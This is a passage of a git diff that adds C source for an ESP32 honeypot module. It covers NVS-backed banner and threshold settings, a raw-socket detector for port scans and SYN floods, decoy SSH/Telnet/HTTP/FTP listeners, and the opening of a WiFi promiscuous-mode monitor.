#define NUM_BANNERS (sizeof(default_banners) / sizeof(default_banners[0]))
|
||||
|
||||
/* ============================================================
|
||||
* Default thresholds
|
||||
* ============================================================ */
|
||||
static const struct {
|
||||
const char *key;
|
||||
int value;
|
||||
} default_thresholds[] = {
|
||||
{ "portscan", 5 },
|
||||
{ "synflood", 50 },
|
||||
{ "icmp", 10 },
|
||||
{ "udpflood", 100 },
|
||||
{ "arpflood", 50 },
|
||||
{ "tarpit_ms", 2000 },
|
||||
};
|
||||
#define NUM_THRESHOLDS (sizeof(default_thresholds) / sizeof(default_thresholds[0]))
|
||||
|
||||
/* ============================================================
|
||||
* Init
|
||||
* ============================================================ */
|
||||
void hp_config_init(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Config subsystem ready (NVS ns=%s)", NVS_NS);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Banner helpers
|
||||
* ============================================================ */
|
||||
static const char *_default_banner(const char *service)
|
||||
{
|
||||
for (size_t i = 0; i < NUM_BANNERS; i++) {
|
||||
if (strcmp(default_banners[i].service, service) == 0)
|
||||
return default_banners[i].banner;
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
esp_err_t hp_config_get_banner(const char *service, char *out, size_t out_len)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &h);
|
||||
if (err == ESP_OK) {
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "b_%s", service);
|
||||
size_t len = out_len;
|
||||
err = nvs_get_str(h, key, out, &len);
|
||||
nvs_close(h);
|
||||
if (err == ESP_OK)
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* Fall back to compile-time default */
|
||||
const char *def = _default_banner(service);
|
||||
snprintf(out, out_len, "%s", def);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
esp_err_t hp_config_set_banner(const char *service, const char *value)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "b_%s", service);
|
||||
err = nvs_set_str(h, key, value);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Threshold helpers
|
||||
* ============================================================ */
|
||||
static int _default_threshold(const char *key)
|
||||
{
|
||||
for (size_t i = 0; i < NUM_THRESHOLDS; i++) {
|
||||
if (strcmp(default_thresholds[i].key, key) == 0)
|
||||
return default_thresholds[i].value;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int hp_config_get_threshold(const char *key)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &h);
|
||||
if (err == ESP_OK) {
|
||||
char nkey[16];
|
||||
snprintf(nkey, sizeof(nkey), "t_%s", key);
|
||||
int32_t val = 0;
|
||||
err = nvs_get_i32(h, nkey, &val);
|
||||
nvs_close(h);
|
||||
if (err == ESP_OK)
|
||||
return (int)val;
|
||||
}
|
||||
return _default_threshold(key);
|
||||
}
|
||||
|
||||
esp_err_t hp_config_set_threshold(const char *key, int value)
|
||||
{
|
||||
/* Clamp to sane range */
|
||||
if (value < 1) value = 1;
|
||||
if (value > 10000) value = 10000;
|
||||
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
char nkey[16];
|
||||
snprintf(nkey, sizeof(nkey), "t_%s", key);
|
||||
err = nvs_set_i32(h, nkey, (int32_t)value);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Reset
|
||||
* ============================================================ */
|
||||
esp_err_t hp_config_reset_all(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
err = nvs_erase_all(h);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Config reset to defaults");
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* List
|
||||
* ============================================================ */
|
||||
int hp_config_list(const char *type_filter, char *buf, size_t buf_len)
|
||||
{
|
||||
int off = 0;
|
||||
bool show_banners = (!type_filter || !type_filter[0] ||
|
||||
strcmp(type_filter, "banner") == 0);
|
||||
bool show_thresholds = (!type_filter || !type_filter[0] ||
|
||||
strcmp(type_filter, "threshold") == 0);
|
||||
|
||||
if (show_banners) {
|
||||
for (size_t i = 0; i < NUM_BANNERS; i++) {
|
||||
char val[128];
|
||||
hp_config_get_banner(default_banners[i].service, val, sizeof(val));
|
||||
/* Truncate for display (strip \r\n) */
|
||||
char *p = val;
|
||||
while (*p && *p != '\r' && *p != '\n') p++;
|
||||
*p = '\0';
|
||||
off += snprintf(buf + off, buf_len - off,
|
||||
"banner_%s=%s ", default_banners[i].service, val);
|
||||
}
|
||||
}
|
||||
|
||||
if (show_thresholds) {
|
||||
for (size_t i = 0; i < NUM_THRESHOLDS; i++) {
|
||||
int val = hp_config_get_threshold(default_thresholds[i].key);
|
||||
off += snprintf(buf + off, buf_len - off,
|
||||
"threshold_%s=%d ", default_thresholds[i].key, val);
|
||||
}
|
||||
}
|
||||
|
||||
return off;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_HONEYPOT */
|
||||
29
espilon_bot/components/mod_honeypot/hp_config.h
Normal file
29
espilon_bot/components/mod_honeypot/hp_config.h
Normal file
@ -0,0 +1,29 @@
|
||||
/*
|
||||
* hp_config.h
|
||||
* NVS-backed runtime configuration for honeypot services.
|
||||
*
|
||||
* Two config types:
|
||||
* "banner" — per-service banner strings (ssh, telnet, ftp, http)
|
||||
* "threshold" — detection thresholds (portscan, synflood, icmp, udpflood, arpflood, tarpit_ms)
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include "esp_err.h"
|
||||
#include <stdint.h>
|
||||
|
||||
/* Initialise NVS namespace (call once at registration time) */
|
||||
void hp_config_init(void);
|
||||
|
||||
/* banner get/set — returns ESP_OK or ESP_ERR_* */
|
||||
esp_err_t hp_config_get_banner(const char *service, char *out, size_t out_len);
|
||||
esp_err_t hp_config_set_banner(const char *service, const char *value);
|
||||
|
||||
/* threshold get/set */
|
||||
int hp_config_get_threshold(const char *key);
|
||||
esp_err_t hp_config_set_threshold(const char *key, int value);
|
||||
|
||||
/* Reset all config to compile-time defaults */
|
||||
esp_err_t hp_config_reset_all(void);
|
||||
|
||||
/* List all config as key=value pairs into buf (for status responses) */
|
||||
int hp_config_list(const char *type_filter, char *buf, size_t buf_len);
|
||||
331
espilon_bot/components/mod_honeypot/hp_net_monitor.c
Normal file
331
espilon_bot/components/mod_honeypot/hp_net_monitor.c
Normal file
@ -0,0 +1,331 @@
|
||||
/*
|
||||
* hp_net_monitor.c
|
||||
* Network anomaly detector: port scan, SYN flood.
|
||||
*
|
||||
* Uses a raw TCP socket (LWIP) to inspect incoming SYN packets.
|
||||
* Maintains a per-IP tracking table (max 32 entries) with sliding
|
||||
* window counters. Sends HP| events when thresholds are exceeded.
|
||||
*
|
||||
* Note: ARP monitoring requires LWIP netif hooks (layer 2) and is
|
||||
* not possible via raw sockets. May be added via etharp callback later.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
#include "lwip/sockets.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "event_format.h"
|
||||
#include "hp_config.h"
|
||||
#include "hp_net_monitor.h"
|
||||
|
||||
#define TAG "HP_NET"
|
||||
|
||||
#define NET_MON_STACK 4096
|
||||
#define NET_MON_PRIO 4
|
||||
#define NET_MON_CORE 1
|
||||
|
||||
/* Tracking table */
|
||||
#define MAX_TRACKED_IPS 32
|
||||
#define WINDOW_SEC 10 /* Sliding window for detections */
|
||||
|
||||
/* ============================================================
|
||||
* IP tracker entry
|
||||
* ============================================================ */
|
||||
typedef struct {
|
||||
uint32_t ip; /* Network byte order */
|
||||
uint32_t first_seen; /* Tick count (ms) */
|
||||
uint32_t last_seen;
|
||||
uint16_t unique_ports[32]; /* Ring buffer of destination ports */
|
||||
uint8_t port_idx;
|
||||
uint8_t port_count;
|
||||
uint32_t syn_count; /* SYN packets in window */
|
||||
bool portscan_alerted;
|
||||
bool synflood_alerted;
|
||||
} ip_tracker_t;
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
static atomic_bool net_running = false;
|
||||
static atomic_bool net_stop_req = false;
|
||||
static TaskHandle_t net_task = NULL;
|
||||
|
||||
static SemaphoreHandle_t tracker_mutex = NULL;
|
||||
static ip_tracker_t trackers[MAX_TRACKED_IPS];
|
||||
static int tracker_count = 0;
|
||||
|
||||
static uint32_t total_port_scans = 0;
|
||||
static uint32_t total_syn_floods = 0;
|
||||
|
||||
/* ============================================================
|
||||
* Tracker helpers
|
||||
* ============================================================ */
|
||||
static uint32_t now_ms(void)
|
||||
{
|
||||
return (uint32_t)(xTaskGetTickCount() * portTICK_PERIOD_MS);
|
||||
}
|
||||
|
||||
static void ip_to_str(uint32_t ip_nbo, char *buf, size_t len)
|
||||
{
|
||||
uint8_t *b = (uint8_t *)&ip_nbo;
|
||||
snprintf(buf, len, "%d.%d.%d.%d", b[0], b[1], b[2], b[3]);
|
||||
}
|
||||
|
||||
static ip_tracker_t *find_or_create_tracker(uint32_t ip)
|
||||
{
|
||||
uint32_t now = now_ms();
|
||||
|
||||
/* Search existing */
|
||||
for (int i = 0; i < tracker_count; i++) {
|
||||
if (trackers[i].ip == ip)
|
||||
return &trackers[i];
|
||||
}
|
||||
|
||||
/* Evict oldest if full */
|
||||
if (tracker_count >= MAX_TRACKED_IPS) {
|
||||
int oldest_idx = 0;
|
||||
uint32_t oldest_time = trackers[0].last_seen;
|
||||
for (int i = 1; i < tracker_count; i++) {
|
||||
if (trackers[i].last_seen < oldest_time) {
|
||||
oldest_time = trackers[i].last_seen;
|
||||
oldest_idx = i;
|
||||
}
|
||||
}
|
||||
if (oldest_idx < tracker_count - 1)
|
||||
trackers[oldest_idx] = trackers[tracker_count - 1];
|
||||
tracker_count--;
|
||||
}
|
||||
|
||||
ip_tracker_t *t = &trackers[tracker_count++];
|
||||
memset(t, 0, sizeof(*t));
|
||||
t->ip = ip;
|
||||
t->first_seen = now;
|
||||
t->last_seen = now;
|
||||
return t;
|
||||
}
|
||||
|
||||
static void expire_trackers(void)
|
||||
{
|
||||
uint32_t now = now_ms();
|
||||
uint32_t window = WINDOW_SEC * 1000;
|
||||
|
||||
for (int i = 0; i < tracker_count; ) {
|
||||
if ((now - trackers[i].last_seen) > window * 3) {
|
||||
if (i < tracker_count - 1)
|
||||
trackers[i] = trackers[tracker_count - 1];
|
||||
tracker_count--;
|
||||
} else {
|
||||
if ((now - trackers[i].first_seen) > window) {
|
||||
trackers[i].syn_count = 0;
|
||||
trackers[i].port_count = 0;
|
||||
trackers[i].port_idx = 0;
|
||||
trackers[i].first_seen = now;
|
||||
trackers[i].portscan_alerted = false;
|
||||
trackers[i].synflood_alerted = false;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static bool port_already_seen(ip_tracker_t *t, uint16_t port)
|
||||
{
|
||||
for (int i = 0; i < t->port_count && i < 32; i++) {
|
||||
if (t->unique_ports[i] == port)
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Event recording
|
||||
* ============================================================ */
|
||||
static void record_syn(uint32_t src_ip, uint16_t dst_port)
|
||||
{
|
||||
if (!tracker_mutex ||
|
||||
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) != pdTRUE)
|
||||
return;
|
||||
|
||||
ip_tracker_t *t = find_or_create_tracker(src_ip);
|
||||
t->last_seen = now_ms();
|
||||
t->syn_count++;
|
||||
|
||||
/* Track unique ports for portscan detection */
|
||||
if (!port_already_seen(t, dst_port)) {
|
||||
t->unique_ports[t->port_idx % 32] = dst_port;
|
||||
t->port_idx++;
|
||||
t->port_count++;
|
||||
}
|
||||
|
||||
/* Snapshot values before releasing mutex */
|
||||
uint8_t port_count = t->port_count;
|
||||
uint32_t syn_count = t->syn_count;
|
||||
bool ps_alerted = t->portscan_alerted;
|
||||
bool sf_alerted = t->synflood_alerted;
|
||||
|
||||
int ps_thresh = hp_config_get_threshold("portscan");
|
||||
if (port_count >= (uint8_t)ps_thresh && !ps_alerted) {
|
||||
t->portscan_alerted = true;
|
||||
total_port_scans++;
|
||||
}
|
||||
|
||||
int sf_thresh = hp_config_get_threshold("synflood");
|
||||
if (syn_count >= (uint32_t)sf_thresh && !sf_alerted) {
|
||||
t->synflood_alerted = true;
|
||||
total_syn_floods++;
|
||||
}
|
||||
|
||||
xSemaphoreGive(tracker_mutex);
|
||||
|
||||
/* Send events outside mutex to avoid blocking */
|
||||
if (port_count >= (uint8_t)ps_thresh && !ps_alerted) {
|
||||
char ip_str[16];
|
||||
ip_to_str(src_ip, ip_str, sizeof(ip_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail), "unique_ports=%d window=%ds",
|
||||
port_count, WINDOW_SEC);
|
||||
event_send("PORT_SCAN", "HIGH", "00:00:00:00:00:00",
|
||||
ip_str, 0, 0, detail, NULL);
|
||||
}
|
||||
|
||||
if (syn_count >= (uint32_t)sf_thresh && !sf_alerted) {
|
||||
char ip_str[16];
|
||||
ip_to_str(src_ip, ip_str, sizeof(ip_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail), "syn_count=%lu window=%ds",
|
||||
(unsigned long)syn_count, WINDOW_SEC);
|
||||
event_send("SYN_FLOOD", "CRITICAL", "00:00:00:00:00:00",
|
||||
ip_str, 0, 0, detail, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Raw socket listener task
|
||||
* ============================================================ */
|
||||
static void net_monitor_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
int raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if (raw_fd < 0) {
|
||||
ESP_LOGE(TAG, "raw socket failed: %d", errno);
|
||||
goto done;
|
||||
}
|
||||
|
||||
struct timeval tv = { .tv_sec = 1, .tv_usec = 0 };
|
||||
setsockopt(raw_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
ESP_LOGI(TAG, "Network monitor started");
|
||||
net_running = true;
|
||||
|
||||
uint8_t pkt_buf[128];
|
||||
|
||||
while (!net_stop_req) {
|
||||
struct sockaddr_in src_addr;
|
||||
socklen_t addr_len = sizeof(src_addr);
|
||||
int n = recvfrom(raw_fd, pkt_buf, sizeof(pkt_buf), 0,
|
||||
(struct sockaddr *)&src_addr, &addr_len);
|
||||
|
||||
if (n > 0) {
|
||||
uint8_t ihl = (pkt_buf[0] & 0x0F) * 4;
|
||||
if (ihl < 20 || n < ihl + 20)
|
||||
goto next;
|
||||
|
||||
uint8_t *tcp = pkt_buf + ihl;
|
||||
uint16_t dst_port = (tcp[2] << 8) | tcp[3];
|
||||
uint8_t flags = tcp[13];
|
||||
|
||||
/* SYN set, ACK not set → connection initiation */
|
||||
if ((flags & 0x02) && !(flags & 0x10)) {
|
||||
record_syn(src_addr.sin_addr.s_addr, dst_port);
|
||||
}
|
||||
}
|
||||
|
||||
next:
|
||||
if (tracker_mutex &&
|
||||
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) == pdTRUE) {
|
||||
expire_trackers();
|
||||
xSemaphoreGive(tracker_mutex);
|
||||
}
|
||||
}
|
||||
|
||||
close(raw_fd);
|
||||
|
||||
done:
|
||||
net_running = false;
|
||||
net_stop_req = false;
|
||||
ESP_LOGI(TAG, "Network monitor stopped");
|
||||
net_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
void hp_net_monitor_start(void)
|
||||
{
|
||||
if (net_running || net_task) {
|
||||
ESP_LOGW(TAG, "Network monitor already running");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!tracker_mutex)
|
||||
tracker_mutex = xSemaphoreCreateMutex();
|
||||
|
||||
tracker_count = 0;
|
||||
total_port_scans = total_syn_floods = 0;
|
||||
memset(trackers, 0, sizeof(trackers));
|
||||
net_stop_req = false;
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(net_monitor_task, "hp_net",
|
||||
NET_MON_STACK, NULL, NET_MON_PRIO, &net_task, NET_MON_CORE);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create net monitor task");
|
||||
net_task = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void hp_net_monitor_stop(void)
|
||||
{
|
||||
if (!net_running && !net_task) {
|
||||
ESP_LOGW(TAG, "Network monitor not running");
|
||||
return;
|
||||
}
|
||||
net_stop_req = true;
|
||||
ESP_LOGI(TAG, "Network monitor stop requested");
|
||||
}
|
||||
|
||||
bool hp_net_monitor_running(void)
|
||||
{
|
||||
return net_running;
|
||||
}
|
||||
|
||||
int hp_net_monitor_status(char *buf, size_t len)
|
||||
{
|
||||
int count = 0;
|
||||
if (tracker_mutex &&
|
||||
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) == pdTRUE) {
|
||||
count = tracker_count;
|
||||
xSemaphoreGive(tracker_mutex);
|
||||
}
|
||||
|
||||
return snprintf(buf, len,
|
||||
"running=%s tracked_ips=%d port_scans=%lu syn_floods=%lu",
|
||||
net_running ? "yes" : "no",
|
||||
count,
|
||||
(unsigned long)total_port_scans,
|
||||
(unsigned long)total_syn_floods);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_HONEYPOT */
|
||||
13
espilon_bot/components/mod_honeypot/hp_net_monitor.h
Normal file
13
espilon_bot/components/mod_honeypot/hp_net_monitor.h
Normal file
@ -0,0 +1,13 @@
|
||||
/*
|
||||
* hp_net_monitor.h
|
||||
* Network anomaly detector: port scan, SYN flood, ARP flood/spoof.
|
||||
* Runs a periodic task that inspects counters updated from raw sockets.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
void hp_net_monitor_start(void);
|
||||
void hp_net_monitor_stop(void);
|
||||
bool hp_net_monitor_running(void);
|
||||
int hp_net_monitor_status(char *buf, size_t len);
|
||||
204
espilon_bot/components/mod_honeypot/hp_tcp_services.c
Normal file
204
espilon_bot/components/mod_honeypot/hp_tcp_services.c
Normal file
@ -0,0 +1,204 @@
|
||||
/*
|
||||
* hp_tcp_services.c
|
||||
* Generic TCP listener + public API for honeypot services.
|
||||
* Service handlers live in services/svc_*.c
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <errno.h>
|
||||
#include "esp_log.h"
|
||||
#include "services/svc_common.h"
|
||||
#include "hp_tcp_services.h"
|
||||
|
||||
#define TAG "HP_SVC"
|
||||
|
||||
#define SVC_STACK_SIZE 4096
|
||||
#define SVC_PRIORITY 4
|
||||
#define SVC_CORE 1
|
||||
#define ACCEPT_TIMEOUT_S 2
|
||||
#define CLIENT_TIMEOUT_S 5
|
||||
|
||||
/* ============================================================
|
||||
* Service descriptors
|
||||
* ============================================================ */
|
||||
static hp_svc_desc_t services[HP_SVC_COUNT] = {
|
||||
[HP_SVC_SSH] = { .name = "ssh", .port = 22 },
|
||||
[HP_SVC_TELNET] = { .name = "telnet", .port = 23 },
|
||||
[HP_SVC_HTTP] = { .name = "http", .port = 80 },
|
||||
[HP_SVC_FTP] = { .name = "ftp", .port = 21 },
|
||||
};
|
||||
|
||||
static const hp_client_handler_t handlers[HP_SVC_COUNT] = {
|
||||
[HP_SVC_SSH] = handle_ssh_client,
|
||||
[HP_SVC_TELNET] = handle_telnet_client,
|
||||
[HP_SVC_HTTP] = handle_http_client,
|
||||
[HP_SVC_FTP] = handle_ftp_client,
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Name <-> ID mapping
|
||||
* ============================================================ */
|
||||
int hp_svc_name_to_id(const char *name)
|
||||
{
|
||||
for (int i = 0; i < HP_SVC_COUNT; i++) {
|
||||
if (strcmp(services[i].name, name) == 0)
|
||||
return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
const char *hp_svc_id_to_name(hp_svc_id_t svc)
|
||||
{
|
||||
if (svc >= HP_SVC_COUNT) return "unknown";
|
||||
return services[svc].name;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Client IP helper
|
||||
* ============================================================ */
|
||||
static void sockaddr_to_str(const struct sockaddr_in *addr,
|
||||
char *ip_buf, size_t ip_len,
|
||||
uint16_t *port_out)
|
||||
{
|
||||
inet_ntoa_r(addr->sin_addr, ip_buf, ip_len);
|
||||
*port_out = ntohs(addr->sin_port);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Generic listener task
|
||||
* ============================================================ */
|
||||
static void listener_task(void *arg)
|
||||
{
|
||||
hp_svc_desc_t *svc = (hp_svc_desc_t *)arg;
|
||||
int listen_fd = -1;
|
||||
|
||||
struct sockaddr_in addr = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(svc->port),
|
||||
.sin_addr.s_addr = htonl(INADDR_ANY),
|
||||
};
|
||||
|
||||
listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (listen_fd < 0) {
|
||||
ESP_LOGE(TAG, "%s: socket() failed: %d", svc->name, errno);
|
||||
goto done;
|
||||
}
|
||||
|
||||
int opt = 1;
|
||||
setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
|
||||
|
||||
if (bind(listen_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
|
||||
ESP_LOGE(TAG, "%s: bind(%d) failed: %d", svc->name, svc->port, errno);
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (listen(listen_fd, 2) < 0) {
|
||||
ESP_LOGE(TAG, "%s: listen() failed: %d", svc->name, errno);
|
||||
goto done;
|
||||
}
|
||||
|
||||
struct timeval tv = { .tv_sec = ACCEPT_TIMEOUT_S, .tv_usec = 0 };
|
||||
setsockopt(listen_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
ESP_LOGI(TAG, "%s listening on port %d", svc->name, svc->port);
|
||||
svc->running = true;
|
||||
|
||||
while (!svc->stop_req) {
|
||||
struct sockaddr_in client_addr;
|
||||
socklen_t clen = sizeof(client_addr);
|
||||
int client_fd = accept(listen_fd,
|
||||
(struct sockaddr *)&client_addr, &clen);
|
||||
|
||||
if (client_fd < 0) {
|
||||
if (errno == EAGAIN || errno == EWOULDBLOCK)
|
||||
continue;
|
||||
ESP_LOGW(TAG, "%s: accept error: %d", svc->name, errno);
|
||||
continue;
|
||||
}
|
||||
|
||||
struct timeval ctv = { .tv_sec = CLIENT_TIMEOUT_S, .tv_usec = 0 };
|
||||
setsockopt(client_fd, SOL_SOCKET, SO_RCVTIMEO, &ctv, sizeof(ctv));
|
||||
|
||||
char client_ip[16];
|
||||
uint16_t client_port;
|
||||
sockaddr_to_str(&client_addr, client_ip, sizeof(client_ip),
|
||||
&client_port);
|
||||
|
||||
hp_svc_id_t id = (hp_svc_id_t)(svc - services);
|
||||
if (id < HP_SVC_COUNT && handlers[id]) {
|
||||
handlers[id](client_fd, client_ip, client_port, svc);
|
||||
}
|
||||
|
||||
close(client_fd);
|
||||
}
|
||||
|
||||
done:
|
||||
if (listen_fd >= 0)
|
||||
close(listen_fd);
|
||||
svc->running = false;
|
||||
svc->stop_req = false;
|
||||
ESP_LOGI(TAG, "%s stopped", svc->name);
|
||||
svc->task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
void hp_svc_start(hp_svc_id_t svc)
|
||||
{
|
||||
if (svc >= HP_SVC_COUNT) return;
|
||||
hp_svc_desc_t *d = &services[svc];
|
||||
if (d->running || d->task) {
|
||||
ESP_LOGW(TAG, "%s already running", d->name);
|
||||
return;
|
||||
}
|
||||
|
||||
d->stop_req = false;
|
||||
d->connections = 0;
|
||||
d->auth_attempts = 0;
|
||||
|
||||
char name[16];
|
||||
snprintf(name, sizeof(name), "hp_%s", d->name);
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(listener_task, name, SVC_STACK_SIZE,
|
||||
d, SVC_PRIORITY, &d->task, SVC_CORE);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create %s task", d->name);
|
||||
d->task = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void hp_svc_stop(hp_svc_id_t svc)
|
||||
{
|
||||
if (svc >= HP_SVC_COUNT) return;
|
||||
hp_svc_desc_t *d = &services[svc];
|
||||
if (!d->running && !d->task) {
|
||||
ESP_LOGW(TAG, "%s not running", d->name);
|
||||
return;
|
||||
}
|
||||
d->stop_req = true;
|
||||
ESP_LOGI(TAG, "%s stop requested", d->name);
|
||||
}
|
||||
|
||||
bool hp_svc_running(hp_svc_id_t svc)
|
||||
{
|
||||
if (svc >= HP_SVC_COUNT) return false;
|
||||
return services[svc].running;
|
||||
}
|
||||
|
||||
int hp_svc_status(hp_svc_id_t svc, char *buf, size_t len)
|
||||
{
|
||||
if (svc >= HP_SVC_COUNT) return 0;
|
||||
hp_svc_desc_t *d = &services[svc];
|
||||
return snprintf(buf, len,
|
||||
"service=%s running=%s port=%d connections=%lu auth_attempts=%lu",
|
||||
d->name,
|
||||
d->running ? "yes" : "no",
|
||||
d->port,
|
||||
(unsigned long)d->connections,
|
||||
(unsigned long)d->auth_attempts);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_HONEYPOT */
|
||||
30
espilon_bot/components/mod_honeypot/hp_tcp_services.h
Normal file
30
espilon_bot/components/mod_honeypot/hp_tcp_services.h
Normal file
@ -0,0 +1,30 @@
|
||||
/*
|
||||
* hp_tcp_services.h
|
||||
* Lightweight TCP honeypot listeners (SSH, Telnet, HTTP, FTP).
|
||||
* Each service runs as an independent FreeRTOS task.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
typedef enum {
|
||||
HP_SVC_SSH = 0,
|
||||
HP_SVC_TELNET = 1,
|
||||
HP_SVC_HTTP = 2,
|
||||
HP_SVC_FTP = 3,
|
||||
HP_SVC_COUNT
|
||||
} hp_svc_id_t;
|
||||
|
||||
/* Start / stop a single service */
|
||||
void hp_svc_start(hp_svc_id_t svc);
|
||||
void hp_svc_stop(hp_svc_id_t svc);
|
||||
bool hp_svc_running(hp_svc_id_t svc);
|
||||
|
||||
/* Get service status line (key=value format) */
|
||||
int hp_svc_status(hp_svc_id_t svc, char *buf, size_t len);
|
||||
|
||||
/* Map service name string to id, returns -1 on unknown */
|
||||
int hp_svc_name_to_id(const char *name);
|
||||
|
||||
/* Map id to name */
|
||||
const char *hp_svc_id_to_name(hp_svc_id_t svc);
|
||||
320
espilon_bot/components/mod_honeypot/hp_wifi_monitor.c
Normal file
320
espilon_bot/components/mod_honeypot/hp_wifi_monitor.c
Normal file
@ -0,0 +1,320 @@
|
||||
/*
|
||||
* hp_wifi_monitor.c
|
||||
* WiFi promiscuous-mode monitor: probe requests, deauth frames,
|
||||
* beacon flood, EAPOL capture detection.
|
||||
*
|
||||
* Sends EVT| events via event_send().
|
||||
* Conflict guard: refuses to start if the fakeAP sniffer is active.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "event_format.h"
|
||||
#include "hp_config.h"
|
||||
#include "hp_wifi_monitor.h"
|
||||
|
||||
#define TAG "HP_WIFI"
|
||||
|
||||
#define WIFI_MON_STACK 4096
|
||||
#define WIFI_MON_PRIO 4
|
||||
#define WIFI_MON_CORE 1
|
||||
|
||||
/* Rate-limit counters (only report every N-th event) */
|
||||
#define PROBE_RATE_LIMIT 10
|
||||
#define DEAUTH_RATE_LIMIT 5
|
||||
#define BEACON_RATE_LIMIT 20
|
||||
#define EAPOL_RATE_LIMIT 3
|
||||
|
||||
/* Beacon flood detection: N beacons in BEACON_WINDOW_MS from same src */
|
||||
#define BEACON_FLOOD_THRESHOLD 50
|
||||
#define BEACON_WINDOW_MS 5000
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
static atomic_bool mon_running = false;
|
||||
static atomic_bool mon_stop_req = false;
|
||||
static TaskHandle_t mon_task = NULL;
|
||||
|
||||
static uint32_t cnt_probe = 0;
|
||||
static uint32_t cnt_deauth = 0;
|
||||
static uint32_t cnt_beacon = 0;
|
||||
